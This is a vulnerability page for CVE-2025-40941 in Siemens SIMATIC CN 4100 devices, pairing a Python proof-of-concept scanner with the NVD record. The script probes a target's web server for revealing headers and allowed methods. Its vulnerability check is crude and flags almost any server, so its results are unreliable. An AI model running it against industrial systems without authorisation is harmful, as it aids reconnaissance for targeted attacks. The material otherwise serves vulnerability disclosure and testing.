CVE-2025-40941

#!/usr/bin/env python3 """ CVE-2025-40941 PoC - SIMATIC CN 4100 Information Disclosure This PoC demonstrates the information disclosure vulnerability in SIMATIC CN 4100 devices. """ import requests import sys import json def check_vulnerability(target_ip, target_port=443): """ Check if target is vulnerable to CVE-2025-40941 """ print(f"[*] Testing target: {target_ip}:{target_port}") # Target URLs to probe urls = [ f"https://{target_ip}:{target_port}/", f"https://{target_ip}:{target_port}/index.html", f"https://{target_ip}:{target_port}/login", ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', } exposed_info = {} for url in urls: try: print(f"\n[*] Probing: {url}") response = requests.get(url, headers=headers, verify=False, timeout=10) # Check for exposed server information if 'Server' in response.headers: exposed_info['Server_Header'] = response.headers['Server'] print(f"[+] Server Header: {response.headers['Server']}") if 'X-Powered-By' in response.headers: exposed_info['X_Powered_By'] = response.headers['X-Powered-By'] print(f"[+] X-Powered-By: {response.headers['X-Powered-By']}") if 'X-AspNet-Version' in response.headers: exposed_info['AspNet_Version'] = response.headers['X-AspNet-Version'] print(f"[+] ASP.NET Version: {response.headers['X-AspNet-Version']}") # Check response body for version info if 'V' in response.text or 'version' in response.text.lower(): print(f"[!] Potential version information found in response body") print(f"[*] Status Code: {response.status_code}") print(f"[*] Headers: {json.dumps(dict(response.headers), indent=2)}") except requests.exceptions.SSLError: print(f"[!] SSL Error - trying with HTTP") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") # Try OPTIONS method try: print(f"\n[*] Testing OPTIONS method...") options_response = requests.options( f"https://{target_ip}:{target_port}/", verify=False, timeout=10 ) if 'Allow' in options_response.headers: exposed_info['Allowed_Methods'] = options_response.headers['Allow'] print(f"[+] Allowed Methods: {options_response.headers['Allow']}") except: pass # Vulnerability assessment if exposed_info: print(f"\n[+] VULNERABLE - Information disclosure detected!") print(f"[+] Exposed information could aid further attacks") return True, exposed_info else: print(f"\n[-] No obvious information disclosure detected") return False, {} if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 vulnerable, info = check_vulnerability(target, port) sys.exit(0 if vulnerable else 1)

{"cve": {"id": "CVE-2025-40941", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:47.997", "lastModified": "2025-12-10T21:32:01.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in SIMATIC CN 4100 (All versions < V4.0.1). The affected devices exposes server information in its responses.\r\nThis could allow an attacker with network access to gain useful information, increasing the likelihood of targeted attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:siemens:simatic_cn_4100_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.1", "matchCriteriaId": "FF07D3DA-F412-4FBF-BB1B-3C889F74509E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:siemens:simatic_cn_4100:-:*:*:*:*:*:*:*", "matchCriteriaId": "92619F5F-3679-4424-9455-3285FF1EF2F1"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-416652.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}